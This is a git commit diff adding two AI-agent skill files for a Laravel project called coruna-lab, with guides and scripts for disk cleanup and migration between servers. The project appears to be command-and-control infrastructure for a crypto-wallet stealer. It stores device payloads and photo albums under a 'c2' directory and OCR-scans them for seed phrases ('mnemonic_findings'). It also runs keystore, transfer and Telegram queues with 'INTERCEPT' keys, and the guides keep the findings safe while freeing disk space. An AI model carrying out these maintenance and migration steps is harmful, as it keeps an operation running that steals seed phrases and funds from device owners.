Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab
This commit is contained in:
hashbro
@@ -0,0 +1,142 @@
|
||||
---
|
||||
name: coruna-lab-cleanup
|
||||
description: >-
|
||||
Clean up disk space on servers running the coruna-lab (Coruna Lab) Laravel
|
||||
project. Deletes scanned photos without mnemonic findings, prunes broken-image
|
||||
DB rows, clears DS scan result intermediates, purges old logs, truncates nginx
|
||||
logs, and removes stale backups. Use when the user reports disk full / low space
|
||||
on a coruna-lab server, or asks to clean up photos / DS results / process data /
|
||||
broken images (裂图) on a coruna-lab deployment. Trigger keywords: coruna-lab
|
||||
磁盘清理, 清理相册, 清理照片, 清理 DS 结果, 清理过程数据, 裂图, disk full,
|
||||
prune photos, clean ds-results.
|
||||
---
|
||||
|
||||
# coruna-lab Disk Cleanup
|
||||
|
||||
Clean up disk space on servers running the **coruna-lab** Laravel project.
|
||||
|
||||
## Project layout (reference)
|
||||
|
||||
```
|
||||
/www/wwwroot/coruna-lab/ # project root (auto-detected or arg)
|
||||
├── storage/app/private/c2/
|
||||
│ ├── photos/ # original album photos (linked to photos table)
|
||||
│ ├── ds-results/ # DS scan intermediates (images already in photos/)
|
||||
│ ├── ds-chunks/ # temporary chunk-assembly files
|
||||
│ ├── inbox/ # incoming .bin payloads from devices
|
||||
│ ├── photo-previews/ # preview cache (regenerable)
|
||||
│ ├── plugin-sessions/ # plugin session data
|
||||
│ └── ds-notes/ # DS note data
|
||||
├── public/log/ # app logs: xxbb/, ds/, transfer/, c2/
|
||||
├── artisan
|
||||
```
|
||||
|
||||
### Key DB tables
|
||||
|
||||
| Table | Role |
|
||||
|-------|------|
|
||||
| `photos` | album photos, `scan_status`: 0=未扫 1=已扫空 2=疑似 3=确定 4=失败 |
|
||||
| `photo_reads` | read markers per photo |
|
||||
| `mnemonic_findings` | mnemonic phrases found in photos/notes (has `photo_id`) |
|
||||
|
||||
**Safe to delete**: `scan_status=1` photos with NO `mnemonic_findings` row — scanned, nothing found.
|
||||
**Never delete**: `scan_status=0` (pending scan), `scan_status=2/3` (has mnemonic findings), `mnemonic_findings` rows.
|
||||
|
||||
## Cleanup steps
|
||||
|
||||
The bundled `scripts/disk_cleanup.sh` runs all steps. Always **dry-run first**.
|
||||
|
||||
### Step 1: Run dry-run
|
||||
|
||||
```bash
|
||||
# SSH to the target server, then:
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab
|
||||
```
|
||||
|
||||
This prints what would be cleaned without deleting anything. Review the output.
|
||||
|
||||
### Step 2: Execute cleanup
|
||||
|
||||
```bash
|
||||
sudo bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
### What it does (9 steps)
|
||||
|
||||
| # | Step | Default retention | Frees |
|
||||
|---|------|-------------------|-------|
|
||||
| 1 | Old app logs (`public/log/*.log`) | 7 days | varies |
|
||||
| 2 | scan_status=1 photos (no mnemonic) | all | largest — often 50-100G+ |
|
||||
| 3 | Broken-image DB rows (file missing) | all | fixes 裂图 |
|
||||
| 4 | Photo preview caches | all | ~15G typical |
|
||||
| 5 | DS results (`ds-results/`) | 1 day | often 40-80G |
|
||||
| 6 | DS chunks (`ds-chunks/`) | 1 day | often 20-35G |
|
||||
| 7 | Inbox (`inbox/`) | 3 days | varies |
|
||||
| 8 | Nginx logs (truncate >100M files) | — | often 15-20G |
|
||||
| 9 | Backups (`/www/backup/`) | all | varies |
|
||||
|
||||
### Tunable retention (env vars)
|
||||
|
||||
```bash
|
||||
LOG_RETENTION_DAYS=3 DS_RESULTS_RETENTION_DAYS=1 DS_CHUNK_RETENTION_DAYS=1 \
|
||||
INBOX_RETENTION_DAYS=3 CLEAN_NGINX_LOGS=1 CLEAN_BACKUPS=1 \
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
## Individual steps (if full pipeline not needed)
|
||||
|
||||
### Only clean scanned photos (step 2 standalone)
|
||||
|
||||
```bash
|
||||
# Copy the PHP script into the project, then run via Laravel bootstrap:
|
||||
cp <skill-dir>/scripts/cleanup_scanned_photos.php /www/wwwroot/coruna-lab/
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php cleanup_scanned_photos.php # dry-run
|
||||
php cleanup_scanned_photos.php --execute # actually delete
|
||||
rm -f cleanup_scanned_photos.php # clean up after
|
||||
```
|
||||
|
||||
### Only prune broken images (step 3 standalone)
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan coruna:prune-missing-photo-files # dry-run
|
||||
php artisan coruna:prune-missing-photo-files --execute # delete rows
|
||||
```
|
||||
|
||||
### Only clean DS intermediates (steps 5-6 standalone)
|
||||
|
||||
```bash
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type d -empty -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type d -empty -delete
|
||||
```
|
||||
|
||||
## Safety rules
|
||||
|
||||
1. **Always dry-run first** — review counts before `--execute`.
|
||||
2. **Never delete `scan_status=0` or `scan_status=2/3` photos** — they are pending scan or contain mnemonic findings.
|
||||
3. **Never delete `mnemonic_findings` rows** — these are the extracted mnemonic records.
|
||||
4. DS results images are duplicates of `c2/photos/` — safe to delete after processing.
|
||||
5. Photo previews are cache — regenerable, safe to clear.
|
||||
6. Truncating nginx logs (not deleting) keeps the file handle open for the running nginx process.
|
||||
7. Backups under `/www/backup/` are panel-level backups — confirm with user before deleting on production servers where backups are actively needed.
|
||||
|
||||
## Verification after cleanup
|
||||
|
||||
```bash
|
||||
df -h /
|
||||
du -sh /www/wwwroot/coruna-lab/storage/app/private/c2/*/
|
||||
du -sh /www/wwwroot/coruna-lab/public/log/
|
||||
```
|
||||
|
||||
Check DB counts:
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan tinker --execute="
|
||||
echo 'photos: '.DB::table('photos')->count().PHP_EOL;
|
||||
echo 'photo_reads: '.DB::table('photo_reads')->count().PHP_EOL;
|
||||
echo 'mnemonic_findings: '.DB::table('mnemonic_findings')->count().PHP_EOL;
|
||||
"
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
/**
|
||||
* Clean up photos that were scanned (scan_status=1, "已扫-空") but have no mnemonic findings.
|
||||
*
|
||||
* These photos were scanned for mnemonic phrases but nothing was found,
|
||||
* so they are safe to delete: file blobs, photo_reads rows, and photos rows.
|
||||
*
|
||||
* Usage:
|
||||
* php cleanup_scanned_photos.php [project-path] [--execute]
|
||||
*
|
||||
* Without --execute: dry-run (counts only, deletes nothing)
|
||||
* With --execute: deletes files and DB rows in batches of 500
|
||||
*
|
||||
* Requires: Laravel project with photos, photo_reads, mnemonic_findings tables.
|
||||
*/
|
||||
require __DIR__.'/vendor/autoload.php';
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
|
||||
$kernel->bootstrap();
|
||||
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
$execute = in_array('--execute', $argv ?? []);
|
||||
$dryRun = !$execute;
|
||||
|
||||
echo ($dryRun ? 'DRY-RUN' : 'EXECUTE') . " clean scan_status=1 photos without mnemonic findings\n";
|
||||
|
||||
$disk = Storage::disk('local');
|
||||
$batchSize = 500;
|
||||
$totalSeen = 0;
|
||||
$totalFiles = 0;
|
||||
$totalRows = 0;
|
||||
$totalReads = 0;
|
||||
$lastId = 0;
|
||||
$batchNum = 0;
|
||||
|
||||
while (true) {
|
||||
$photos = DB::table('photos')
|
||||
->select(['id', 'device_id', 'path'])
|
||||
->where('scan_status', 1)
|
||||
->where('id', '>', $lastId)
|
||||
->whereNotIn('id', function ($q) {
|
||||
$q->select('photo_id')->from('mnemonic_findings')->whereNotNull('photo_id');
|
||||
})
|
||||
->orderBy('id')
|
||||
->limit($batchSize)
|
||||
->get();
|
||||
|
||||
if ($photos->isEmpty()) {
|
||||
break;
|
||||
}
|
||||
|
||||
$batchNum++;
|
||||
$ids = [];
|
||||
foreach ($photos as $photo) {
|
||||
$ids[] = $photo->id;
|
||||
$totalSeen++;
|
||||
if (!$dryRun) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path !== '' && $disk->exists($path)) {
|
||||
$disk->delete($path);
|
||||
$totalFiles++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!$dryRun && !empty($ids)) {
|
||||
$deletedReads = DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||
$totalReads += $deletedReads;
|
||||
DB::table('photos')->whereIn('id', $ids)->delete();
|
||||
$totalRows += count($ids);
|
||||
}
|
||||
|
||||
$lastId = (int) $photos->last()->id;
|
||||
|
||||
if ($batchNum % 20 === 0 || $photos->count() < $batchSize) {
|
||||
echo sprintf(
|
||||
" batch=%d seen=%d %s reads=%d\n",
|
||||
$batchNum,
|
||||
$totalSeen,
|
||||
$dryRun ? '(dry-run)' : "deleted_files=$totalFiles deleted_rows=$totalRows",
|
||||
$totalReads
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
echo "\n=== Done ===\n";
|
||||
echo "matched_photos: $totalSeen\n";
|
||||
if (!$dryRun) {
|
||||
echo "deleted_files: $totalFiles\n";
|
||||
echo "deleted_photo_reads: $totalReads\n";
|
||||
echo "deleted_photos_rows: $totalRows\n";
|
||||
} else {
|
||||
echo "dry-run: pass --execute to delete\n";
|
||||
}
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# coruna-lab disk cleanup — full pipeline
|
||||
#
|
||||
# Usage: sudo bash disk_cleanup.sh [project_root] [--execute]
|
||||
#
|
||||
# Without --execute: dry-run (shows what would be cleaned, deletes nothing)
|
||||
# With --execute: performs all cleanup steps
|
||||
#
|
||||
# Env vars (override defaults):
|
||||
# LOG_RETENTION_DAYS=7 public/log retention (days)
|
||||
# DS_RESULTS_RETENTION_DAYS=1 ds-results retention (days)
|
||||
# DS_CHUNK_RETENTION_DAYS=1 ds-chunks retention (days)
|
||||
# INBOX_RETENTION_DAYS=3 inbox retention (days)
|
||||
# CLEAN_NGINX_LOGS=1 truncate large nginx logs (1=yes, 0=no)
|
||||
# CLEAN_BACKUPS=1 delete /www/backup contents (1=yes, 0=no)
|
||||
#
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PROJECT="${1:-/www/wwwroot/coruna-lab}"
|
||||
EXECUTE_FLAG="${2:-}"
|
||||
EXECUTE=0
|
||||
[ "$EXECUTE_FLAG" = "--execute" ] && EXECUTE=1
|
||||
|
||||
# Retention settings (can be overridden by env vars)
|
||||
LOG_DAYS="${LOG_RETENTION_DAYS:-7}"
|
||||
DS_RESULTS_DAYS="${DS_RESULTS_RETENTION_DAYS:-1}"
|
||||
DS_CHUNK_DAYS="${DS_CHUNK_RETENTION_DAYS:-1}"
|
||||
INBOX_DAYS="${INBOX_RETENTION_DAYS:-3}"
|
||||
CLEAN_NGINX_LOGS="${CLEAN_NGINX_LOGS:-1}"
|
||||
CLEAN_BACKUPS="${CLEAN_BACKUPS:-1}"
|
||||
|
||||
STORAGE_C2="$PROJECT/storage/app/private/c2"
|
||||
PUBLIC_LOG="$PROJECT/public/log"
|
||||
DELETE_CMD=""
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
DELETE_CMD="-delete"
|
||||
echo "=== EXECUTE MODE — files will be deleted ==="
|
||||
else
|
||||
echo "=== DRY-RUN MODE — no files will be deleted ==="
|
||||
fi
|
||||
|
||||
echo ""
|
||||
df -h / 2>/dev/null | tail -1
|
||||
echo ""
|
||||
|
||||
# ─── 1. Old application logs (public/log) ───────────────────────────
|
||||
echo ">>> 1. Cleaning public/log (>$LOG_DAYS days)"
|
||||
find "$PUBLIC_LOG" -type f -name "*.log" -mtime +$LOG_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " matched files: {}"
|
||||
rm -f "$PUBLIC_LOG"/*.tar.gz 2>/dev/null && echo " removed tar.gz archives" || true
|
||||
|
||||
# ─── 2. Scanned photos without mnemonic findings ────────────────────
|
||||
echo ">>> 2. Cleaning scan_status=1 photos (no mnemonic findings)"
|
||||
if [ -f "$PROJECT/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$PROJECT/cleanup_scanned_photos.php"
|
||||
elif [ -f "$(dirname "$0")/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$(dirname "$0")/cleanup_scanned_photos.php"
|
||||
cp "$SCRIPT" "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
echo " ERROR: cleanup_scanned_photos.php not found, skipping"
|
||||
SCRIPT=""
|
||||
fi
|
||||
if [ -n "$SCRIPT" ]; then
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php --execute 2>&1 | tail -5)
|
||||
rm -f "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php 2>&1 | tail -3)
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── 3. Broken images (file missing, DB row exists) ─────────────────
|
||||
echo ">>> 3. Pruning broken-image DB rows (file missing on disk)"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files --execute 2>&1 | tail -3)
|
||||
else
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files 2>&1 | tail -3)
|
||||
fi
|
||||
|
||||
# ─── 4. Photo preview caches ────────────────────────────────────────
|
||||
echo ">>> 4. Clearing photo preview caches"
|
||||
du -sh "$STORAGE_C2/photo-previews/" 2>/dev/null || true
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
rm -rf "$STORAGE_C2/photo-previews/"* 2>/dev/null
|
||||
echo " cleared"
|
||||
fi
|
||||
|
||||
# ─── 5. DS results (keep N days) ────────────────────────────────────
|
||||
echo ">>> 5. Cleaning ds-results (>$DS_RESULTS_DAYS days)"
|
||||
find "$STORAGE_C2/ds-results/" -type f -mtime +$DS_RESULTS_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-results/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 6. DS chunks (keep N days) ────────────────────────────────────
|
||||
echo ">>> 6. Cleaning ds-chunks (>$DS_CHUNK_DAYS days)"
|
||||
find "$STORAGE_C2/ds-chunks/" -type f -mtime +$DS_CHUNK_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-chunks/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 7. Inbox (keep N days) ─────────────────────────────────────────
|
||||
echo ">>> 7. Cleaning inbox (>$INBOX_DAYS days)"
|
||||
find "$STORAGE_C2/inbox/" -type f -mtime +$INBOX_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/inbox/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 8. Nginx logs (truncate large active logs) ─────────────────────
|
||||
if [ "$CLEAN_NGINX_LOGS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 8. Truncating nginx logs (/www/wwwlogs)"
|
||||
for f in /www/wwwlogs/*.log; do
|
||||
sz=$(stat -c%s "$f" 2>/dev/null || echo 0)
|
||||
if [ "$sz" -gt 104857600 ]; then
|
||||
truncate -s 0 "$f"
|
||||
echo " truncated $(basename $f) ($(numfmt --to=iec $sz))"
|
||||
fi
|
||||
done
|
||||
else
|
||||
echo ">>> 8. Nginx logs: skipped (CLEAN_NGINX_LOGS=$CLEAN_NGINX_LOGS or dry-run)"
|
||||
fi
|
||||
|
||||
# ─── 9. Backups ────────────────────────────────────────────────────
|
||||
if [ "$CLEAN_BACKUPS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 9. Cleaning /www/backup"
|
||||
rm -rf /www/backup/backup_restore/* /www/backup/database/* /www/backup/file_history/* /www/backup/panel/* 2>/dev/null || true
|
||||
rm -f /www/backup/*.Bak /www/backup/*.bak /www/backup/nginxBak 2>/dev/null || true
|
||||
echo " cleaned"
|
||||
else
|
||||
echo ">>> 9. Backups: skipped (CLEAN_BACKUPS=$CLEAN_BACKUPS or dry-run)"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Result ==="
|
||||
df -h / 2>/dev/null | tail -1
|
||||
@@ -0,0 +1,290 @@
|
||||
---
|
||||
name: coruna-lab-migrate
|
||||
description: >-
|
||||
Migrate the coruna-lab (Coruna Lab) Laravel project from one server to another
|
||||
on BT Panel (宝塔面板). Covers code deployment, database dump/restore, file
|
||||
storage transfer (photos/ds-results/inbox), supervisor queue worker setup,
|
||||
DNS cutover, and post-migration verification. Use when the user asks to
|
||||
migrate coruna-lab to a new server, move coruna-lab to another machine,
|
||||
换服务器, 迁移机器, 搬家, or set up a fresh coruna-lab deployment.
|
||||
Trigger keywords: coruna-lab 迁移, 迁移服务器, 换机器, migrate coruna-lab,
|
||||
server migration, 搬家, new server setup.
|
||||
---
|
||||
|
||||
# coruna-lab Server Migration
|
||||
|
||||
Migrate the **coruna-lab** Laravel project between BT Panel (宝塔面板) servers.
|
||||
|
||||
## Architecture overview
|
||||
|
||||
```
|
||||
Old Server New Server
|
||||
┌─────────────────────┐ ┌─────────────────────┐
|
||||
│ BT Panel + Nginx │ │ BT Panel + Nginx │
|
||||
│ PHP 8.2 │ rsync │ PHP 8.2 │
|
||||
│ MySQL (coruna DB) │ ────────> │ MySQL (coruna DB) │
|
||||
│ Redis │ │ Redis │
|
||||
│ Supervisor (workers)│ │ Supervisor (workers)│
|
||||
│ storage/app/private │ tar+ssh │ storage/app/private │
|
||||
│ c2/photos/ (155G+) │ ────────> │ c2/photos/ │
|
||||
└─────────────────────┘ └─────────────────────┘
|
||||
```
|
||||
|
||||
## Key paths & services
|
||||
|
||||
| Item | Path / Command |
|
||||
|------|----------------|
|
||||
| Project root | `/www/wwwroot/coruna-lab` |
|
||||
| PHP | `/www/server/php/82/bin/php` |
|
||||
| artisan | `sudo -u www /www/server/php/82/bin/php artisan` |
|
||||
| Supervisor | `sudo /www/server/panel/pyenv/bin/supervisorctl` |
|
||||
| Storage | `storage/app/private/c2/{photos,ds-results,ds-chunks,ds-notes,inbox,photo-previews,plugin-sessions}` |
|
||||
| Logs | `public/log/{xxbb,ds,transfer,c2}/` |
|
||||
| Supervisor profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
|
||||
|
||||
## Migration phases
|
||||
|
||||
### Phase 1: Prepare new server
|
||||
|
||||
1. Install BT Panel, PHP 8.2, MySQL, Redis, Nginx on the new server.
|
||||
2. Create MySQL database and user:
|
||||
```sql
|
||||
CREATE DATABASE coruna CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
|
||||
CREATE USER 'coruna'@'localhost' IDENTIFIED BY '<password>';
|
||||
GRANT ALL ON coruna.* TO 'coruna'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
```
|
||||
3. Create the site in BT Panel (point domain to `/www/wwwroot/coruna-lab`).
|
||||
|
||||
### Phase 2: Deploy code
|
||||
|
||||
The new server has **no git** — deploy via tarball from a machine that has the repo:
|
||||
|
||||
```bash
|
||||
# On the machine with git access:
|
||||
cd /www/wwwroot/coruna-lab
|
||||
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz
|
||||
scp /tmp/coruna-lab-code.tar.gz ubuntu@<new-server>:/tmp/
|
||||
|
||||
# On the new server:
|
||||
sudo mkdir -p /www/wwwroot/coruna-lab
|
||||
sudo tar -xzf /tmp/coruna-lab-code.tar.gz -C /www/wwwroot/coruna-lab
|
||||
sudo chown -R www:www /www/wwwroot/coruna-lab
|
||||
cd /www/wwwroot/coruna-lab
|
||||
composer install --no-dev --optimize-autoloader
|
||||
```
|
||||
|
||||
### Phase 3: Database migration
|
||||
|
||||
```bash
|
||||
# On old server: dump
|
||||
mysqldump -ucoruna -p<old-pass> coruna --single-transaction --routines > /tmp/coruna.sql
|
||||
scp /tmp/coruna.sql ubuntu@<new-server>:/tmp/
|
||||
|
||||
# On new server: import
|
||||
mysql -ucoruna -p<new-pass> coruna < /tmp/coruna.sql
|
||||
```
|
||||
|
||||
Run migrations on the new server:
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan migrate --force
|
||||
```
|
||||
|
||||
### Phase 4: Configure .env
|
||||
|
||||
Copy `.env` from old server, update for new server:
|
||||
```bash
|
||||
# Key settings to verify/update:
|
||||
APP_URL=<new-domain>
|
||||
DB_PASSWORD=<new-db-pass>
|
||||
REDIS_HOST=127.0.0.1
|
||||
QUEUE_CONNECTION=redis
|
||||
# Keep these from old .env:
|
||||
CORUNA_OFFICIAL_ALBUM_STORAGE=1
|
||||
INTERCEPT_DEVICE_KEYS=...
|
||||
INTERCEPT_BOT_TOKEN=...
|
||||
INTERCEPT_CHAT_ID=...
|
||||
```
|
||||
|
||||
Generate app key if needed (usually keep the old one):
|
||||
```bash
|
||||
sudo -u www /www/server/php/82/bin/php artisan key:generate
|
||||
```
|
||||
|
||||
### Phase 5: Transfer file storage
|
||||
|
||||
The `c2/` directory can be 200G+. Use `tar + ssh` for reliability with large file counts:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# transfer_locked.sh — run on OLD server
|
||||
NEW_HOST="ubuntu@<new-server>"
|
||||
SSH_KEY="/path/to/key.pem"
|
||||
SRC="/www/wwwroot/coruna-lab/storage/app/private/c2"
|
||||
DST="/www/wwwroot/coruna-lab/storage/app/private/c2"
|
||||
|
||||
for dir in photos photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox; do
|
||||
echo "Transferring $dir..."
|
||||
tar -C "$SRC" -cf - "$dir" | ssh -i "$SSH_KEY" $NEW_HOST "sudo tar -C '$DST' -xf -"
|
||||
done
|
||||
```
|
||||
|
||||
**Important**: Transfer `photos/` last (largest, 155G+). Use `flock` to prevent
|
||||
duplicate runs. Monitor progress with `find ... | wc -l` on both servers.
|
||||
|
||||
### Phase 6: Set up supervisor workers
|
||||
|
||||
**This is the most critical step** — missing workers cause silent data loss.
|
||||
|
||||
Create one `.ini` file per queue in `/www/server/panel/plugin/supervisor/profile/`:
|
||||
|
||||
| File | Queue | Command |
|
||||
|------|-------|---------|
|
||||
| `queue.ini` | default | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
|
||||
| `ocr.ini` | ocr | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` |
|
||||
| `keystore.ini` | keystore | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
|
||||
| `telegram.ini` | telegram | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
|
||||
| `transfer.ini` | transfer | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
|
||||
| **`extract.ini`** | **extract** | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` |
|
||||
|
||||
> **⚠️ CRITICAL: `extract.ini` is easily missed.** Without it, photo archives
|
||||
> pile up in `inbox/` and the `extract` Redis queue backs up indefinitely.
|
||||
> Photos appear to stop storing even though `/t` requests keep arriving.
|
||||
|
||||
Template for `extract.ini` (others follow the same pattern):
|
||||
```ini
|
||||
[program:extract]
|
||||
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
|
||||
directory=/www/wwwroot/coruna-lab/
|
||||
autorestart=true
|
||||
startsecs=3
|
||||
startretries=3
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
|
||||
stdout_logfile_maxbytes=2MB
|
||||
stderr_logfile_maxbytes=2MB
|
||||
user=www
|
||||
priority=999
|
||||
numprocs=2
|
||||
process_name=%(program_name)s_%(process_num)02d
|
||||
```
|
||||
|
||||
Load and start all workers:
|
||||
```bash
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl reread
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl update
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl start all
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl status
|
||||
```
|
||||
|
||||
### Phase 7: Clear caches & restart PHP-FPM
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan config:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan route:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan view:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan cache:clear
|
||||
# Restart PHP-FPM
|
||||
sudo /etc/init.d/php-fpm-82 restart
|
||||
```
|
||||
|
||||
> **⚠️ `view:clear` is critical after code updates.** Stale compiled Blade
|
||||
> templates in `storage/framework/views/` cause 500 errors when new routes
|
||||
> are referenced but old compiled cache doesn't have them.
|
||||
|
||||
### Phase 8: DNS cutover
|
||||
|
||||
1. Update Cloudflare DNS A record to new server IP.
|
||||
2. Wait for DNS propagation (or use Cloudflare proxy for instant cutover).
|
||||
3. Verify the site loads on the new server.
|
||||
|
||||
### Phase 9: Verify
|
||||
|
||||
```bash
|
||||
# Check site responds
|
||||
curl -sI https://<domain>/ | head -5
|
||||
|
||||
# Check supervisor workers all RUNNING
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl status
|
||||
|
||||
# Check Redis queue backlog (should be 0 or low for all queues)
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan tinker --execute='
|
||||
$r = \Illuminate\Support\Facades\Redis::connection();
|
||||
foreach (["default","extract","ocr","keystore","telegram","transfer"] as $q) {
|
||||
echo "queues:$q = ".$r->llen("queues:$q")."\n";
|
||||
}
|
||||
'
|
||||
|
||||
# Check photos are being stored (should see recent timestamps)
|
||||
mysql -ucoruna -p<pass> coruna -e '
|
||||
SELECT COUNT(*) as cnt, MAX(created_at) as last
|
||||
FROM photos WHERE created_at > DATE_SUB(NOW(), INTERVAL 10 MINUTE);
|
||||
'
|
||||
|
||||
# Check inbox not backing up
|
||||
ls /www/wwwroot/coruna-lab/storage/app/private/c2/inbox/ | wc -l
|
||||
```
|
||||
|
||||
## Common pitfalls
|
||||
|
||||
### 1. Missing `extract` queue worker (MOST COMMON)
|
||||
|
||||
**Symptom**: Users report photos stopped storing. `/t` requests arrive,
|
||||
DB has few/no new photos, `inbox/` directory grows, `queues:extract` in
|
||||
Redis has 100K+ backlog.
|
||||
|
||||
**Fix**: Create `extract.ini` (see Phase 6), reload supervisor.
|
||||
|
||||
### 2. Stale Blade view cache causing 500 errors
|
||||
|
||||
**Symptom**: Pages return 500 after code update. Error log mentions
|
||||
route names not found in compiled view.
|
||||
|
||||
**Fix**: `php artisan view:clear` + restart PHP-FPM.
|
||||
|
||||
### 3. OCR workers restarting frequently
|
||||
|
||||
**Symptom**: `ocr:ocr_00` and `ocr:ocr_01` show very short uptimes
|
||||
(seconds). Error log shows PHP module warnings ("Module already loaded").
|
||||
|
||||
**Cause**: PHP modules loaded twice (fileinfo, redis, zip, gmp). Usually
|
||||
harmless warnings but indicates PHP config issue. Workers still process
|
||||
jobs but may be slower.
|
||||
|
||||
### 4. Photo files not found after migration
|
||||
|
||||
**Symptom**: DB has photo records but files missing on disk.
|
||||
|
||||
**Cause**: Transfer script didn't complete, or path mismatch. Photos
|
||||
are stored at `storage/app/private/c2/photos/{device_uuid}/{sha256}_...`,
|
||||
NOT `storage/app/private/photos/`.
|
||||
|
||||
**Fix**: Re-run transfer for `c2/photos/` directory. Verify with:
|
||||
```bash
|
||||
sudo find /www/wwwroot/coruna-lab/storage/app/private/c2/photos -type f | wc -l
|
||||
```
|
||||
|
||||
### 5. Admin login locked after migration
|
||||
|
||||
**Symptom**: Can't log in to admin panel. `login_attempts` column shows
|
||||
high value, `locked_at` is not NULL.
|
||||
|
||||
**Fix**:
|
||||
```sql
|
||||
UPDATE admins SET login_attempts=0, locked_at=NULL WHERE username='<user>';
|
||||
```
|
||||
|
||||
## Post-migration cleanup
|
||||
|
||||
After confirming the new server is stable:
|
||||
|
||||
1. Stop old server supervisor workers:
|
||||
```bash
|
||||
/www/server/panel/pyenv/bin/supervisorctl stop all
|
||||
```
|
||||
2. Verify no traffic to old server (check nginx access logs).
|
||||
3. Decommission old server after 24-48 hours of stable operation.
|
||||
4. Run disk cleanup on new server (see `coruna-lab-cleanup` skill).
|
||||
Reference in New Issue
Block a user